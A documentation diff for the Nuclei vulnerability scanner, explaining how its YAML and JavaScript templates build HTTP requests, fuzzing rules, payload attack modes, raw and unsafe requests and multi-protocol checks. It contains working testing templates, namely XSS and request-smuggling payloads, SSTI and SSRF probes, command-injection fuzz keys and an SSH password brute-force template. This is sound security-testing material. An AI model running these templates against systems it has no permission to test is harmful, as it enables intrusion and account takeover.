title: "Base HTTP"
|
||||
---
|
||||
<Note>
|
||||
**Requests**
|
||||
|
||||
Nuclei offers extensive support for various features related to HTTP protocol. Raw and Model based HTTP requests are supported, along with options Non-RFC client requests support too. Payloads can also be specified and raw requests can be transformed based on payload values along with many more capabilities that are shown later on this Page.
|
||||
|
||||
HTTP Requests start with a `request` block which specifies the start of the requests for the template.
|
||||
</Note>
|
||||
|
||||
```yaml
|
||||
# Start the requests for the template right here
|
||||
http:
|
||||
```
|
||||
|
||||
<Note>
|
||||
**Method**
|
||||
|
||||
Request method can be **GET**, **POST**, **PUT**, **DELETE**, etc. depending on the needs.
|
||||
</Note>
|
||||
|
||||
```yaml
|
||||
# Method is the method for the request
|
||||
method: GET
|
||||
```
|
||||
|
||||
<Note>
|
||||
**Redirects**
|
||||
|
||||
Redirection conditions can be specified per each template. By default, redirects are not followed. However, if desired, they can be enabled with `redirects: true` in request details. 10 redirects are followed at maximum by default which should be good enough for most use cases. More fine grained control can be exercised over number of redirects followed by using `max-redirects` field.
|
||||
</Note>
|
||||
|
||||
An example of the usage:
|
||||
|
||||
```yaml
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/login.php"
|
||||
redirects: true
|
||||
max-redirects: 3
|
||||
```
|
||||
|
||||
<Warning>Currently redirects are defined per template, not per request.</Warning>
|
||||
|
||||
<Note>
|
||||
**Path**
|
||||
|
||||
The next part of the requests is the **path** of the request path. Dynamic variables can be placed in the path to modify its behavior on runtime.
|
||||
|
||||
Variables start with `{{` and end with `}}` and are case-sensitive.
|
||||
|
||||
**{{BaseURL}}** - This will replace on runtime in the request by the input URL as specified in the target file.
|
||||
|
||||
**{{RootURL}}** - This will replace on runtime in the request by the root URL as specified in the target file.
|
||||
|
||||
**{{Hostname}}** - Hostname variable is replaced by the hostname including port of the target on runtime.
|
||||
|
||||
**{{Host}}** - This will replace on runtime in the request by the input host as specified in the target file.
|
||||
|
||||
**{{Port}}** - This will replace on runtime in the request by the input port as specified in the target file.
|
||||
|
||||
**{{Path}}** - This will replace on runtime in the request by the input path as specified in the target file.
|
||||
|
||||
**{{File}}** - This will replace on runtime in the request by the input filename as specified in the target file.
|
||||
|
||||
**{{Scheme}}** - This will replace on runtime in the request by protocol scheme as specified in the target file.
|
||||
|
||||
</Note>
|
||||
|
||||
An example is provided below - https://example.com:443/foo/bar.php
|
||||
|
||||
| Variable | Value |
|
||||
|--------------|-------------------------------------|
|
||||
| \{\{BaseURL\}\} | https://example.com:443/foo/bar.php |
|
||||
| \{\{RootURL\}\} | https://example.com:443 |
|
||||
| \{\{Hostname\}\} | example.com:443 |
|
||||
| \{\{Host\}\} | example.com |
|
||||
| \{\{Port\}\} | 443 |
|
||||
| \{\{Path\}\} | /foo |
|
||||
| \{\{File\}\} | bar.php |
|
||||
| \{\{Scheme\}\} | https |
|
||||
|
||||
|
||||
Some sample dynamic variable replacement examples:
|
||||
|
||||
```yaml
|
||||
path: "{{BaseURL}}/.git/config"
|
||||
# This path will be replaced on execution with BaseURL
|
||||
# If BaseURL is set to https://abc.com then the
|
||||
# path will get replaced to the following: https://abc.com/.git/config
|
||||
```
|
||||
|
||||
Multiple paths can also be specified in one request which will be requested for the target.
|
||||
|
||||
### Headers
|
||||
|
||||
Headers can also be specified to be sent along with the requests. Headers are placed in form of key/value pairs. An example header configuration looks like this:
|
||||
|
||||
```yaml
|
||||
# headers contain the headers for the request
|
||||
headers:
|
||||
# Custom user-agent header
|
||||
User-Agent: Some-Random-User-Agent
|
||||
# Custom request origin
|
||||
Origin: https://google.com
|
||||
```
|
||||
|
||||
### Body
|
||||
|
||||
Body specifies a body to be sent along with the request. For instance:
|
||||
|
||||
```yaml
|
||||
# Body is a string sent along with the request
|
||||
body: "{\"some random JSON\"}"
|
||||
|
||||
# Body is a string sent along with the request
|
||||
body: "admin=test"
|
||||
```
|
||||
|
||||
### Session
|
||||
|
||||
To maintain cookie based browser like session between multiple requests, you can simply use `cookie-reuse: true` in your template, Useful in cases where you want to maintain session between series of request to complete the exploit chain and to perform authenticated scans.
|
||||
|
||||
```yaml
|
||||
# cookie-reuse accepts boolean input and false as default
|
||||
cookie-reuse: true
|
||||
```
|
||||
|
||||
### Request Condition
|
||||
|
||||
Request condition allows checking for the condition between multiple requests for writing complex checks and exploits involving various HTTP requests to complete the exploit chain.
|
||||
|
||||
The functionality will be automatically enabled if DSL matchers/extractors contain numbers as a suffix with respective attributes.
|
||||
|
||||
For example, the attribute `status_code` will point to the effective status code of the current request/response pair in elaboration. Previous responses status codes are accessible by suffixing the attribute name with `_n`, where n is the n-th ordered request 1-based. So if the template has four requests and we are currently at number 3:
|
||||
- `status_code`: will refer to the response code of request number 3
|
||||
- `status_code_1` and `status_code_2` will refer to the response codes of the sequential responses number one and two
|
||||
|
||||
For example with `status_code_1`, `status_code_3`, and`body_2`:
|
||||
|
||||
```yaml
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- "status_code_1 == 404 && status_code_2 == 200 && contains((body_2), 'secret_string')"
|
||||
```
|
||||
<Note>Request conditions might require more memory as all attributes of previous responses are kept in memory</Note>
|
||||
|
||||
### **Example HTTP Template**
|
||||
|
||||
The final template file for the `.git/config` file mentioned above is as follows:
|
||||
|
||||
```yaml
|
||||
id: git-config
|
||||
|
||||
info:
|
||||
name: Git Config File
|
||||
author: Ice3man
|
||||
severity: medium
|
||||
description: Searches for the pattern /.git/config on passed URLs.
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/.git/config"
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "[core]"
|
||||
```
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,196 @@
|
||||
---
|
||||
title: "HTTP Fuzzing"
|
||||
---
|
||||
|
||||
### HTTP Fuzzing
|
||||
|
||||
Nuclei supports fuzzing of HTTP requests based on rules defined in the `fuzzing` section of the HTTP request. This allows creating templates for generic Web Application vulnerabilities like SQLi, SSRF, CMDi, etc without any information of the target like a classic web fuzzer.
|
||||
|
||||
#### Part
|
||||
|
||||
Part specifies what part of the request should be fuzzed based on the specified rules. Available options for this parameter are -
|
||||
|
||||
1. **query** (`default`) - fuzz query parameters for URL
|
||||
|
||||
```yaml
|
||||
fuzzing:
|
||||
- part: query # fuzz parameters in URL query
|
||||
```
|
||||
|
||||
Support will be added for `path`,`header`,`body`,`cookie`, etc parts soon.
|
||||
|
||||
#### Type
|
||||
|
||||
Type specifies the type of replacement to perform for the fuzzing rule value. Available options for this parameter are -
|
||||
|
||||
1. **replace** (`default`) - replace the value with payload
|
||||
2. **prefix** - prefix the value with payload
|
||||
3. **postfix** - postfix the value with payload
|
||||
4. **infix** - infix the value with payload (place in between)
|
||||
|
||||
```yaml
|
||||
fuzzing:
|
||||
- part: query
|
||||
type: postfix # Fuzz query and postfix payload to params
|
||||
```
|
||||
|
||||
#### Mode
|
||||
|
||||
Mode specifies the mode in which to perform the replacements. Available modes are -
|
||||
|
||||
1. **multiple** (`default`) - replace all values at once
|
||||
2. **single** - replace one value at a time
|
||||
|
||||
```yaml
|
||||
fuzzing:
|
||||
- part: query
|
||||
type: postfix
|
||||
mode: multiple # Fuzz query postfixing payloads to all parameters at once
|
||||
```
|
||||
|
||||
> **Note**: default values are set/used when other options are not defined.
|
||||
|
||||
#### Filters
|
||||
|
||||
Multiple filters are supported to restrict the scope of fuzzing to only interesting parameter keys and values. Nuclei HTTP Fuzzing engine converts request parts into Keys and Values which then can be filtered by their related options.
|
||||
|
||||
The following filter fields are supported -
|
||||
|
||||
1. **keys** - list of parameter names to fuzz (exact match)
|
||||
2. **keys-regex** - list of parameter regex to fuzz
|
||||
3. **values** - list of value regex to fuzz
|
||||
|
||||
These filters can be used in combination to run highly targeted fuzzing based on the parameter input. A few examples of such filtering are provided below.
|
||||
|
||||
```yaml
|
||||
# fuzzing command injection based on parameter name value
|
||||
fuzzing:
|
||||
- part: query
|
||||
type: replace
|
||||
mode: single
|
||||
keys:
|
||||
- "daemon"
|
||||
- "upload"
|
||||
- "dir"
|
||||
- "execute"
|
||||
- "download"
|
||||
- "log"
|
||||
- "ip"
|
||||
- "cli"
|
||||
- "cmd"
|
||||
```
|
||||
|
||||
```yaml
|
||||
# fuzzing openredirects based on parameter name regex
|
||||
fuzzing:
|
||||
- part: query
|
||||
type: replace
|
||||
mode: single
|
||||
keys-regex:
|
||||
- "redirect.*"
|
||||
```
|
||||
|
||||
```yaml
|
||||
# fuzzing ssrf based on parameter value regex
|
||||
fuzzing:
|
||||
- part: query
|
||||
type: replace
|
||||
mode: single
|
||||
values:
|
||||
- "https?://.*"
|
||||
```
|
||||
|
||||
#### Fuzz
|
||||
|
||||
Fuzz specifies the values to replace with a `type` for a parameter. It supports payloads, DSL functions, etc and allows users to fully utilize the existing nuclei feature-set for fuzzing purposes.
|
||||
|
||||
```yaml
|
||||
# fuzz section for xss fuzzing with stop-at-first-match
|
||||
payloads:
|
||||
reflection:
|
||||
- "6842'\"><9967"
|
||||
stop-at-first-match: true
|
||||
fuzzing:
|
||||
- part: query
|
||||
type: postfix
|
||||
mode: single
|
||||
fuzz:
|
||||
- "{{reflection}}"
|
||||
```
|
||||
|
||||
```yaml
|
||||
# using interactsh-url placeholder for oob testing
|
||||
payloads:
|
||||
redirect:
|
||||
- "{{interactsh-url}}"
|
||||
fuzzing:
|
||||
- part: query
|
||||
type: replace
|
||||
mode: single
|
||||
keys:
|
||||
- "dest"
|
||||
- "redirect"
|
||||
- "uri"
|
||||
fuzz:
|
||||
- "https://{{redirect}}"
|
||||
```
|
||||
|
||||
```yaml
|
||||
# using template-level variables for SSTI testing
|
||||
variables:
|
||||
first: "{{rand_int(10000, 99999)}}"
|
||||
second: "{{rand_int(10000, 99999)}}"
|
||||
result: "{{to_number(first)*to_number(second)}}"
|
||||
|
||||
http:
|
||||
...
|
||||
payloads:
|
||||
reflection:
|
||||
- '{{concat("{{", "§first§*§second§", "}}")}}'
|
||||
fuzzing:
|
||||
- part: query
|
||||
type: postfix
|
||||
mode: multiple
|
||||
fuzz:
|
||||
- "{{reflection}}"
|
||||
```
|
||||
|
||||
#### Example **Fuzzing** template
|
||||
|
||||
An example sample template for fuzzing XSS vulnerabilities is provided below.
|
||||
|
||||
```yaml
|
||||
id: fuzz-reflection-xss
|
||||
|
||||
info:
|
||||
name: Basic Reflection Potential XSS Detection
|
||||
author: pdteam
|
||||
severity: low
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
payloads:
|
||||
reflection:
|
||||
- "6842'\"><9967"
|
||||
stop-at-first-match: true
|
||||
fuzzing:
|
||||
- part: query
|
||||
type: postfix
|
||||
mode: single
|
||||
fuzz:
|
||||
- "{{reflection}}"
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- "{{reflection}}"
|
||||
- type: word
|
||||
part: header
|
||||
words:
|
||||
- "text/html"
|
||||
```
|
||||
|
||||
More complete examples are provided [here](/template-example/http/http-fuzzing)
|
||||
@@ -0,0 +1,87 @@
|
||||
---
|
||||
title: "HTTP Payloads"
|
||||
---
|
||||
|
||||
<Note>
|
||||
|
||||
Nuclei engine supports payloads module that allow to run various type of payloads in multiple format, It's possible to define placeholders with simple keywords (or using brackets `{{helper_function(variable)}}` in case mutator functions are needed), and perform **batteringram**, **pitchfork** and **clusterbomb** attacks. The wordlist for these attacks needs to be defined during the request definition under the Payload field, with a name matching the keyword, Nuclei supports both file based and in template wordlist support and Finally all DSL functionalities are fully available and supported, and can be used to manipulate the final values.
|
||||
|
||||
Payloads are defined using variable name and can be referenced in the request in between `§ §` or `{{ }}` marker.
|
||||
|
||||
</Note>
|
||||
|
||||
An example of the using payloads with local wordlist:
|
||||
|
||||
```yaml
|
||||
# HTTP Intruder fuzzing using local wordlist.
|
||||
|
||||
payloads:
|
||||
paths: params.txt
|
||||
header: local.txt
|
||||
```
|
||||
|
||||
An example of the using payloads with in template wordlist support:
|
||||
|
||||
```yaml
|
||||
# HTTP Intruder fuzzing using in template wordlist.
|
||||
|
||||
payloads:
|
||||
password:
|
||||
- admin
|
||||
- guest
|
||||
- password
|
||||
```
|
||||
|
||||
**Note:** be careful while selecting attack type, as unexpected input will break the template.
|
||||
|
||||
For example, if you used `clusterbomb` or `pitchfork` as attack type and defined only one variable in the payload section, template will fail to compile, as `clusterbomb` or `pitchfork` expect more than one variable to use in the template.
|
||||
|
||||
### Attack mode
|
||||
|
||||
Nuclei engine supports multiple attack types, including `batteringram` as default type which generally used to fuzz single parameter, `clusterbomb` and `pitchfork` for fuzzing multiple parameters which works same as classical burp intruder.
|
||||
|
||||
| **Type** | batteringram | pitchfork | clusterbomb |
|
||||
|-------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
|
||||
| **Support** | <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24"><path fill-rule="evenodd" d="M1 12C1 5.925 5.925 1 12 1s11 4.925 11 11-4.925 11-11 11S1 18.075 1 12zm16.28-2.72a.75.75 0 00-1.06-1.06l-5.97 5.97-2.47-2.47a.75.75 0 00-1.06 1.06l3 3a.75.75 0 001.06 0l6.5-6.5z"></path></svg> | <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24"><path fill-rule="evenodd" d="M1 12C1 5.925 5.925 1 12 1s11 4.925 11 11-4.925 11-11 11S1 18.075 1 12zm16.28-2.72a.75.75 0 00-1.06-1.06l-5.97 5.97-2.47-2.47a.75.75 0 00-1.06 1.06l3 3a.75.75 0 001.06 0l6.5-6.5z"></path></svg> | <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24"><path fill-rule="evenodd" d="M1 12C1 5.925 5.925 1 12 1s11 4.925 11 11-4.925 11-11 11S1 18.075 1 12zm16.28-2.72a.75.75 0 00-1.06-1.06l-5.97 5.97-2.47-2.47a.75.75 0 00-1.06 1.06l3 3a.75.75 0 001.06 0l6.5-6.5z"></path></svg> |
|
||||
|
||||
<Note>
|
||||
**batteringram**
|
||||
|
||||
The battering ram attack type places the same payload value in all positions. It uses only one payload set. It loops through the payload set and replaces all positions with the payload value.
|
||||
</Note>
|
||||
|
||||
<Note>
|
||||
**pitchfork**
|
||||
The pitchfork attack type uses one payload set for each position. It places the first payload in the first position, the second payload in the second position, and so on.
|
||||
|
||||
It then loops through all payload sets at the same time. The first request uses the first payload from each payload set, the second request uses the second payload from each payload set, and so on.
|
||||
|
||||
</Note>
|
||||
|
||||
<Note>
|
||||
**clusterbomb**
|
||||
The cluster bomb attack tries all different combinations of payloads. It still puts the first payload in the first position, and the second payload in the second position. But when it loops through the payload sets, it tries all combinations.
|
||||
|
||||
It then loops through all payload sets at the same time. The first request uses the first payload from each payload set, the second request uses the second payload from each payload set, and so on.
|
||||
|
||||
This attack type is useful for a brute-force attack. Load a list of commonly used usernames in the first payload set, and a list of commonly used passwords in the second payload set. The cluster bomb attack will then try all combinations.
|
||||
|
||||
More details [here](https://www.sjoerdlangkemper.nl/2017/08/02/burp-intruder-attack-types/).
|
||||
|
||||
</Note>
|
||||
|
||||
An example of the using `clusterbomb` attack to fuzz.
|
||||
|
||||
```yaml
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
POST /?file={{path}} HTTP/1.1
|
||||
User-Agent: {{header}}
|
||||
Host: {{Hostname}}
|
||||
|
||||
payloads:
|
||||
path: helpers/wordlists/prams.txt
|
||||
header: helpers/wordlists/header.txt
|
||||
attack: clusterbomb # Defining HTTP fuzz attack type
|
||||
```
|
||||
@@ -0,0 +1,37 @@
|
||||
---
|
||||
title: "RAW HTTP"
|
||||
---
|
||||
|
||||
Another way to create request is using raw requests which comes with more flexibility and support of DSL helper functions, like the following ones (as of now it's suggested to leave the `Host` header as in the example with the variable `{{Hostname}}`), All the Matcher, Extractor capabilities can be used with RAW requests in same the way described above.
|
||||
|
||||
```yaml
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
POST /path2/ HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
a=test&b=pd
|
||||
```
|
||||
Requests can be fine-tuned to perform the exact tasks as desired. Nuclei requests are fully configurable meaning you can configure and define each and every single thing about the requests that will be sent to the target servers.
|
||||
|
||||
RAW request format also supports [various helper functions](/template-guide/helper-functions/) letting us do run time manipulation with input. An example of the using a helper function in the header.
|
||||
|
||||
```yaml
|
||||
- raw:
|
||||
- |
|
||||
GET /manager/html HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Authorization: Basic {{base64('username:password')}} # Helper function to encode input at run time.
|
||||
```
|
||||
|
||||
To make a request to the URL specified as input without any additional tampering, a blank Request URI can be used as specified below which will make the request to user specified input.
|
||||
|
||||
```yaml
|
||||
- raw:
|
||||
- |
|
||||
GET HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
```
|
||||
|
||||
@@ -0,0 +1,38 @@
|
||||
---
|
||||
title: "Unsafe HTTP"
|
||||
---
|
||||
|
||||
Nuclei supports [rawhttp](https://github.com/projectdiscovery/rawhttp) for complete request control and customization allowing **any kind of malformed requests** for issues like HTTP request smuggling, Host header injection, CRLF with malformed characters and more.
|
||||
|
||||
**rawhttp** library is disabled by default and can be enabled by including `unsafe: true` in the request block.
|
||||
|
||||
Here is an example of HTTP request smuggling detection template using `rawhttp`.
|
||||
|
||||
```yaml
|
||||
http:
|
||||
- raw:
|
||||
- |+
|
||||
POST / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 150
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
0
|
||||
|
||||
GET /post?postId=5 HTTP/1.1
|
||||
User-Agent: a"/><script>alert(1)</script>
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 5
|
||||
|
||||
x=1
|
||||
- |+
|
||||
GET /post?postId=5 HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
unsafe: true # Enables rawhttp client
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- 'contains(body, "<script>alert(1)</script>")'
|
||||
```
|
||||
@@ -0,0 +1,11 @@
|
||||
---
|
||||
title: 'Introduction'
|
||||
---
|
||||
|
||||
**Nuclei** is based on the concepts of `YAML` based template files that define how the requests will be sent and processed. This allows easy extensibility capabilities to nuclei.
|
||||
|
||||
The templates are written in `YAML` which specifies a simple human-readable format to quickly define the execution process.
|
||||
|
||||
<Card title="Get Started" icon="book-open">
|
||||
Guide to write your own nuclei template
|
||||
</Card>
|
||||
@@ -0,0 +1,218 @@
|
||||
---
|
||||
title: "Javascript"
|
||||
---
|
||||
|
||||
## Introduction
|
||||
|
||||
Nuclei and its community thrives on its ability to write exploits/checks in fast and simple way in YAML format and we aim to make **nuclei templates** as standard for writing security checks and that comes with understanding its limitations and addressing them as well as expanding its capabilities. It is already possible to write most complex HTTP, DNS, SSL protocol exploits / checks with increasing support and a powerful and easy to use DSL in nuclei engine but we understand this may not be enough for addressing / writing vulnerabilities across all protocols as well as other non-remote domains of security like local privilege escalation checks, kernel etc.
|
||||
|
||||
To address this and expand to other domains of security, Nuclei v3 ships with a embedded runtime for javascript that is tailored for **Nuclei** with the help of **[Goja](https://github.com/dop251/goja)**.
|
||||
|
||||
|
||||
## Features
|
||||
|
||||
- **Provider/Driver specific exploit**
|
||||
|
||||
Some vulnerabilities are specific to software/driver, example a redis buffer overflow exploit or a exploit of specific VPN software or anything that's not a IETF standard protocol. since they are not standard protocols and it doesn't make much sense to add them as a protocol in nuclei.
|
||||
Such exploits cannot be written using 'network' protocol or Very complex to write, such exploits can be written by exposing required library in nuclei (if not already present) and writing actual exploit in javascript protocol minus the boilerplate and scaling issues and other goodies of nuclei
|
||||
|
||||
- **Non Network Checks**
|
||||
|
||||
Security is not limited to network and nuclei also doesn't intend to limit itself to network only. There are lot of security checks that are not network related like
|
||||
|
||||
1. local privilege escalation checks
|
||||
2. kernel exploits
|
||||
3. account misconfigurations
|
||||
4. system misconfigurations etc
|
||||
|
||||
- **Complex network protocol exploits**
|
||||
|
||||
Some network exploits are very complex to write due to nature of protocol or exploit itself example [CVE-2020-0796](https://nvd.nist.gov/vuln/detail/cve-2020-0796) where you have to manually construct a packet. such exploits are usually written in python but now can be written in javascript protocol itself
|
||||
|
||||
- **Multi Step Exploits**
|
||||
|
||||
Ldap / kerberos exploits usually involves multi step process of authentication and then exploitation etc and not easy to write in YAML based DSL
|
||||
|
||||
- **Scalable and maintainable exploits**
|
||||
|
||||
One off exploits written in code are not scalable and maintainable due to nature of language , boilerplate code and lot of other factors. The goal here is to only write **bare minimum** code required to run exploit and let nuclei engine handle the rest
|
||||
|
||||
- **Leveraging turing complete language**
|
||||
|
||||
While YAML based DSL is powerful and easy to use it is not turing complete and has its own limitations. Javascript is turing complete thus users who are already familiar with javascript can write network and other exploits without learning new DSL or hacking around existing DSL.
|
||||
|
||||
## Goja
|
||||
|
||||
Goja is ECMAScript/Javascript engine/runtime written in pure go and has full support for ECMAScript 5.1. It is fast, can be used in goroutines and has very small memory footprint which makes it good fit for embedding in nuclei and provides additional layer of security and flexibility due to nature of javascript language and its implementation.
|
||||
|
||||
This does not break any nuclei design principle nor does it change how nuclei works and is dependency free. It complements nuclei engine by adding existing turing complete language (i.e javascript) instead of re-inventing the wheel by creating new DSL (domain specific language)
|
||||
|
||||
## Requirements
|
||||
|
||||
- A bare minimum knowledge of javascript (loops, functions , arrays is enough) is required to write javascript protocol template
|
||||
- Nuclei v3.0.0 or above
|
||||
|
||||
|
||||
## API Reference
|
||||
|
||||
API reference of all exposed modules and functions can be found [here](https://projectdiscovery.github.io/js-proto-docs/).
|
||||
|
||||
## Javascript Protocol
|
||||
|
||||
Javascript protocol is new protocol added in nuclei v3 to allow writing exploits / checks in javascript language but internally are executed in go. And this javscript is tailored towards nuclei ecosystem this means
|
||||
|
||||
- It is not intended to fit / imported with any existing javascript libraries or frameworks outside of nuclei ecosystem.
|
||||
- Nuclei Engine provides a set of functions, libraries that are tailor made for writing exploits / checks and only adds required/necessary functionality to compliment existing YAML based DSL.
|
||||
- It is not intended to be used as general purpose javascript runtime and does not replace matchers or extractors or any existing functionality of nuclei.
|
||||
- Javascript Protocol is intended to bridge gap between network protocol to add any new xyz protocol while adding lot of other functionalities.
|
||||
- Nuclei v3.0.0 ships with **15+ libraries (ssh,ftp,rdp,kerberos,redis)** tailored for writing exploits/checks in javascript and will be continiously expanded in future.
|
||||
|
||||
Here is a simple example of javascript protocol template
|
||||
|
||||
```yaml
|
||||
id: ssh-server-fingerprint
|
||||
|
||||
info:
|
||||
name: Fingerprint SSH Server Software
|
||||
author: Ice3man543,tarunKoyalwar
|
||||
severity: info
|
||||
|
||||
|
||||
javascript:
|
||||
- code: |
|
||||
var m = require("nuclei/ssh");
|
||||
var c = m.SSHClient();
|
||||
var response = c.ConnectSSHInfoMode(Host, Port);
|
||||
to_json(response);
|
||||
args:
|
||||
Host: "{{Host}}"
|
||||
Port: "22"
|
||||
|
||||
extractors:
|
||||
- type: json
|
||||
json:
|
||||
- '.ServerID.Raw'
|
||||
```
|
||||
|
||||
In above nuclei template we are fingerprinting SSH Server Software by connecting in Non-Auth mode and extracting server banner. Lets break down the template.
|
||||
|
||||
### Code
|
||||
|
||||
Code contains actual javascript code that is executed by nuclei engine at runtime In above template we are
|
||||
|
||||
- importing `nuclei/ssh` module/library
|
||||
- creating a new instance of `SSHClient` object
|
||||
- connecting to SSH server in `Info` mode
|
||||
- converting response to json
|
||||
|
||||
### Args
|
||||
|
||||
Args can be simply understood as variables in javascript that are passed at runtime and support DSL usage
|
||||
|
||||
|
||||
### **Output**
|
||||
|
||||
Value of Last expression is returned as output of javascript protocol template and can be used in matchers / extractors. If server returns an error instead then `error` variable is exposed in matcher/extractor with error message.
|
||||
|
||||
### Example
|
||||
|
||||
**SSH Password Bruteforce Template**
|
||||
|
||||
```yaml
|
||||
id: ssh-brute
|
||||
|
||||
info:
|
||||
name: SSH Credential Stuffing
|
||||
author: tarunKoyalwar
|
||||
severity: critical
|
||||
|
||||
|
||||
javascript:
|
||||
- pre-condition: |
|
||||
var m = require("nuclei/ssh");
|
||||
var c = m.SSHClient();
|
||||
var response = c.ConnectSSHInfoMode(Host, Port);
|
||||
// only bruteforce if ssh server allows password based authentication
|
||||
response["UserAuth"].includes("password")
|
||||
|
||||
code: |
|
||||
var m = require("nuclei/ssh");
|
||||
var c = m.SSHClient();
|
||||
c.Connect(Host,Port,Username,Password);
|
||||
|
||||
args:
|
||||
Host: "{{Host}}"
|
||||
Port: "22"
|
||||
Username: "{{usernames}}"
|
||||
Password: "{{passwords}}"
|
||||
|
||||
threads: 10
|
||||
attack: clusterbomb
|
||||
payloads:
|
||||
usernames: helpers/wordlists/wp-users.txt
|
||||
passwords: helpers/wordlists/wp-passwords.txt
|
||||
|
||||
stop-at-first-match: true
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- "response == true"
|
||||
- "success == true"
|
||||
condition: and
|
||||
```
|
||||
|
||||
In above nuclei template we are bruteforcing ssh server with list of usernames and passwords. We can tell that this might not have been possible to achieve with network template Let's break down the template.
|
||||
|
||||
### Pre-Condition
|
||||
|
||||
`pre-condition` is a optional javascript code that is executed before running "code" and acts as pre-condition to exploit. In above template before attempting to bruteforce we are checking if
|
||||
- address is actually a ssh server
|
||||
- ssh server is configured to allow password based authentication
|
||||
|
||||
**Furthur explaination**
|
||||
|
||||
- If pre-condition returns `true` only then code is executed otherwise it is skipped
|
||||
- In code section we import `nuclei/ssh` module and create a new instance of `SSHClient` object
|
||||
- and then we attempt to connect to ssh server with username and password
|
||||
- this template uses [payloads](https://docs.nuclei.sh/template-guide/http/http-payloads) to launch a clusterbomb attack with 10 threads and exits on first match
|
||||
|
||||
Looking at this template now we can tell that javascript template is very powerful to write multi step and protocol/vendor specific exploits which is primary goal of javascript protocol.
|
||||
|
||||
|
||||
### Init
|
||||
|
||||
`init` is a optional javascript code that can be used to initialize template and it is executed just after compiling template and before running it on any target. Although rarely needed, it can be used to load and preprocess data before running template on any target.
|
||||
For example in below code block we are loading all ssh private keys from `nuclei-templates/helpers` directory and storing them as a variable in payloads with name `keys`, if we were loading private keys from 'pre-condition' code block then it would have been loaded for every target which is not ideal.
|
||||
|
||||
```
|
||||
variables:
|
||||
keysDir: "helpers/" # load all private keys from this directory
|
||||
|
||||
javascript:
|
||||
# init field can be used to make any preperations before the actual exploit
|
||||
# here we are reading all private keys from helpers folder and storing them in a list
|
||||
- init: |
|
||||
let m = require('nuclei/fs');
|
||||
let privatekeys = m.ReadFilesFromDir(keysDir)
|
||||
updatePayload('keys',privatekeys)
|
||||
|
||||
payloads:
|
||||
# 'keys' will be updated by actual private keys after init is executed
|
||||
keys:
|
||||
- key1
|
||||
- key2
|
||||
```
|
||||
|
||||
Two special functions that are available in init block are
|
||||
|
||||
|
||||
| Function | Description |
|
||||
| -------------------------- | ---------------------------------------- |
|
||||
| `updatePayload(key,value)` | updates payload with given key and value |
|
||||
| `set(key,value)` | sets a variable with given key and value |
|
||||
|
||||
A collection of javascript protocol templates can be found [here](https://github.com/projectdiscovery/nuclei-templates/pull/8206).
|
||||
|
||||
## Contributing
|
||||
|
||||
If you want to add a new module or function to nuclei javascript runtime please open a PR with your changes, refer [Contributing](https://github.com/projectdiscovery/nuclei/blob/7085b47c19dbe3a70b3d4eb23177995bda5c285a/pkg/js/CONTRIBUTE.md) for more details.
|
||||
@@ -0,0 +1,171 @@
|
||||
---
|
||||
title: "Multi"
|
||||
---
|
||||
|
||||
Nuclei provides support for a variety of protocols including HTTP, DNS, Network, SSL, and Code. This allows users to write Nuclei templates for vulnerabilities across these protocols. However, there may be instances where a vulnerability requires the synchronous execution of multiple protocols for testing or exploitation. A prime example of this is **subdomain takeovers**, which necessitates a check for the CNAME record of a subdomain, followed by a verification of string in HTTP response. While this was partially achievable with workflows in Nuclei, the introduction of **Nuclei v3.0** has made it possible to conveniently write a **template** that can execute multiple protocols synchronously. This allows for checks to be performed on the results of each protocol, along with other enhancements.
|
||||
|
||||
**Example:**
|
||||
|
||||
```yaml
|
||||
id: dns-http-template
|
||||
|
||||
info:
|
||||
name: dns + http takeover template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
dns:
|
||||
- name: "{{FQDN}}" # dns request
|
||||
type: cname
|
||||
|
||||
http:
|
||||
- method: GET # http request
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- contains(http_body,'Domain not found') # check for string from http response
|
||||
- contains(dns_cname, 'github.io') # check for cname from dns response
|
||||
condition: and
|
||||
```
|
||||
The example above demonstrates that there is no need for new logic or syntax. Simply write the logic for each protocol and then use the protocol-prefixed variable or the [dynamic extractor](https://docs.nuclei.sh/template-guide/operators/extractors#dynamic-extractor) to export that variable. This variable is then shared across all protocols. We refer to this as the **Template Context**, which contains all variables that are scoped at the template level.
|
||||
|
||||
## Features
|
||||
|
||||
The following features enhance the power of multi-protocol execution:
|
||||
|
||||
- Protocol-Scoped Shared Variables Across Protocols
|
||||
- Data Export across Protocols using Dynamic Extractor
|
||||
|
||||
### Protocol Scoped Variables
|
||||
|
||||
